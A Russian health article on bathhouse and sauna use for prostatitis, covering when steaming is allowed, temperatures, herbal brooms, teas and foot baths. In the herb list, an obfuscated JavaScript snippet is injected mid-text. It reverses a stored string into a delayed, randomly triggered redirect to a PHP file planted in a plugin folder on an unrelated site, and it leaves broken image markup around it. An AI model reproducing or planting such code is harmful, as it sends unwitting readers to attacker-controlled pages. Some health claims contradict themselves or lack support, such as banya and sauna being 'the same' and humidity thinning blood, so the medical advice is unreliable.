Простатит является самым распространённым урологическим заболеванием, с которым сталкивается каждый второй мужчина. Существует огромное количество тактик лечения этого патологического состояния. Помимо консервативных терапевтических подходов, распространены и народные методы. Одним из таких оздоровительных мероприятий является посещение бани, сауны и других видов парилок. Обращаясь к помощи этой процедуры, необходимо учитывать не только положительное действие высоких температур на организм, но и возможные риски для здоровья, которые также присутствуют.
Содержание
Что такое простатит
Простата, или предстательная железа, является элементом мочеполовой системы у мужчин. Этот орган участвует в формировании спермы, вырабатывая особый секрет, а также выполняет роль затворного клапана мочевыводящего канала. В процессе эякуляции железа блокирует вывод мочи из мочевого пузыря, обеспечивая выведение семени через уретру.
Простатит — это воспаление предстательной железы, препятствующее нормальному транспорту мочи и семенной жидкости через мочеиспускательный канал. Проблема встречается в любом возрасте, но чаще всего возникает у мужчин старше 35 лет. Заболевание сопровождается сильными болями, нарушением оттока мочи, потерей эректильной функции полового члена.
Полезные свойства бани
Русская баня и финская сауна — это одно и то же, но сегодня привычнее понимать под термином сауна нечто другое. Баня — это помещение, в котором создаётся специфический микроклимат с температурой 45–65 оC и влажностью воздуха 95–100%. Особенность русской бани — это мелкодисперсный пар, который насыщен эфирными маслами от веников.
В современной сауне микроклимат совершенно другой. Температура воздуха в такой парилке значительно выше, чем в бане, она может достигать 100 оС при относительной влажности воздуха в 10–15%. Сауна предназначается для общего прогревания организма, разогревания мышц перед тренировкой. Баня же — терапевтическая процедура, поэтому больше внимания уделим именно ей.
Посещение бани несёт существенную пользу для организма человека:
- высокая температура обеспечивает активное расширение кровеносных сосудов, что позволяет снять их спазм;
- учащается сердцебиение, кровь быстрее транспортируется по организму, ускоряя обменные процессы;
- улучшается приток крови и лимфы к внутренним органам;
- активное потоотделение позволяет провести профилактику большинства дерматологических болезней;
- из организма выходит лишняя вода, проходят отёчные явления;
- кровь разжижается благодаря высокой влажности, облегчается дыхание;
- повышается продуктивность выведения мокроты из лёгких, дыхательная система очищается;
- нормализуются нервно-проводящие процессы путём раздражения нервных центров;
- увлажняются слизистые оболочки, активизируется местный и общий иммунитет;
- проходит усталость, после посещения бани можно ощутить себя бодрее и моложе на несколько лет.
Польза и вред бани при простатите
Баня — это не лекарство и не панацея, данная процедура имеет общеукрепляющее влияние на организм. Посещать парилку при простатите можно, но не всегда и не каждому. Баня запрещена при следующих состояниях:
- остром инфекционном процессе;
- гипертонической болезни;
- заболеваниях сердечно-сосудистой системы;
- тромбофлебите;
- ишемической болезни сердца;
- атеросклерозе;
- склонности к кровотечениям.
Что касается простатита, то посещать баню можно только в том случае, если болезнь имеет хроническую форму течения и находится в состоянии ремиссии. Париться можно для профилактики, особенно полезно посидеть в баньке ранней весной и поздней осенью — это период сезонных обострений. Банные процедуры при простатите обладают следующими свойствами:
- улучшается кровоснабжение предстательной железы;
- снижается выраженность воспалительного процесса;
- уменьшаются болезненные ощущения во время мочеиспускания;
- улучшается эрекция;
- снижается ощущение давления во время мочеиспускания, нормализуется процесс выведения мочи.
Походы в баню следует отложить, если простатит имеет острую форму или находится в фазе обострения. Недопустима процедура при:
- инфекционной природе заболевания;
- общей астении;
- повышенной температуре тела.
Нарушение этих правил чревато рядом негативных последствий:
- распространением воспаления и инфекции на прочие органы мочеполовой системы (развитие сопутствующих инфекционных болезней — уретрита, нефрита, цистита);
- потерей сознания;
- усилением болезненных ощущений;
- увеличением железы и прогрессированием недуга;
- импотенцией;
- полной блокадой уретры с невозможностью самостоятельного выведения мочи.
Как правильно париться при простатите
Посещение парилки при простатите имеет свои особенности, которые следует учитывать, чтобы эффект от процедуры был максимальным:
- Продолжительность одной сессии не должна превышать 10–15 минут. За это время организм успевает хорошо пропариться, сосуды расширяются, а сердечный ритм увеличивается. Если провести в бане больше времени, это может усилить воспалительный процесс и спровоцировать обострение хронического простатита.
- Температурный режим должен колебаться в рамках 45–50 градусов Цельсия. При отклонении от этих показателей возрастает риск развития осложнений. Повышение температуры должно быть постепенным, недопустимо резкое сужение или расширение сосудов. При данном синдроме предстательная железа находится в спазмированном состоянии, задача бани — снять спазм, расслабив гладкую мускулатуру.
- Категорически запрещены обливания холодной водой, погружения в бассейн или прыжки в снег. Эти действия приводят к резкому изменению артериального и венозного давления, после чего состояние больного ухудшается. Переохлаждение критично для организма при воспалении предстательной железы, после таких мероприятий проблемы с выведением мочи увеличиваются, а болезненные ощущения усиливаются.
- Классические берёзовые веники лучше дополнить лечебными травами, примотав несколько веточек к общему пучку. Раскрывающийся запах сухих трав является элементом ароматерапии, обладает расслабляющим, противовоспалительным и иммуностимулирующим действием. При простатите дополнительным терапевтическим действием будут обладать такие растения:
- зверобой;
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bb7bd5fceaba-728×557.jpg» alt=»Пучок зверобоя» width=»728″ height=»557″ /> Зверобойный веник применяют как противовоспалительное, антисептическое, бактерицидное, согревающее, спазмолитическое средство
- ромашка;
- календула;
- шалфей.
- зверобой;
- Количество посещений парной не должно превышать двух раз в месяц. Баня полезна в меру, а злоупотребление процедурой ведёт к осложнению состояния больного.
- После бани рекомендуется выпить травяной отвар с противовоспалительным и расслабляющим эффектом. Лучше всего для этого подходит отвар боярышника, цветков ромашки или мелиссы. Готовить ароматный напиток просто:
- Столовую ложку измельчённой травы или плодов помещают в кастрюлю.
- Заливают 250 мл чистой воды.
- Состав проваривают на медленном огне 15 минут после закипания.
- Готовый отвар накрывают крышкой и оставляют до остывания.
- Перед употреблением тёплый напиток нужно процедить.
Видео: правила банных процедур
Дополнительные процедуры в бане
Для укрепления организма можно использовать щадящий контрастный душ. При простатите эта процедура имеет ряд особенностей, так как перегреваться и переохлаждаться в этом состоянии нельзя:
- продолжительность процедуры не должна превышать 5 минут;
- начинать и заканчивать контрастный душ нужно горячей водой;
- изменять температуру воды нужно постепенно, снижая несколько градусов;
- минимальная доступная температура составляет 23 градуса Цельсия;
- чередование горячей и холодной воды нужно проводить следующим образом — 30 секунд под горячими струями и 15 под прохладными.
После бани можно попарить ноги — это позволит усилить кровоток в нижней части тела. Для проведения процедуры нужно:
- Налить в таз тёплую воду с температурой 37–40 оС и бросить в ёмкость пучок сушёной календулы и ромашки.
- Дальше следует укутаться в тёплый халат и опустить ноги в таз с водой на 5 минут.
Эта процедура обладает не только терапевтическим, но и профилактическим эффектом. Парить ноги очень полезно для мужчин, которые заняты сидячей работой, что приводит к застойным явлениям в тазу и нижних конечностях.
Посещение русской бани при простатите разрешено, но при условии, что хронический процесс находится в состоянии ремиссии. Нельзя париться при остром и инфекционном простатите — это может усугубить состояние больного. После парилки следует отказаться от обливания холодной водой в пользу контрастного душа, травяного чая и горячих ванночек для ног.
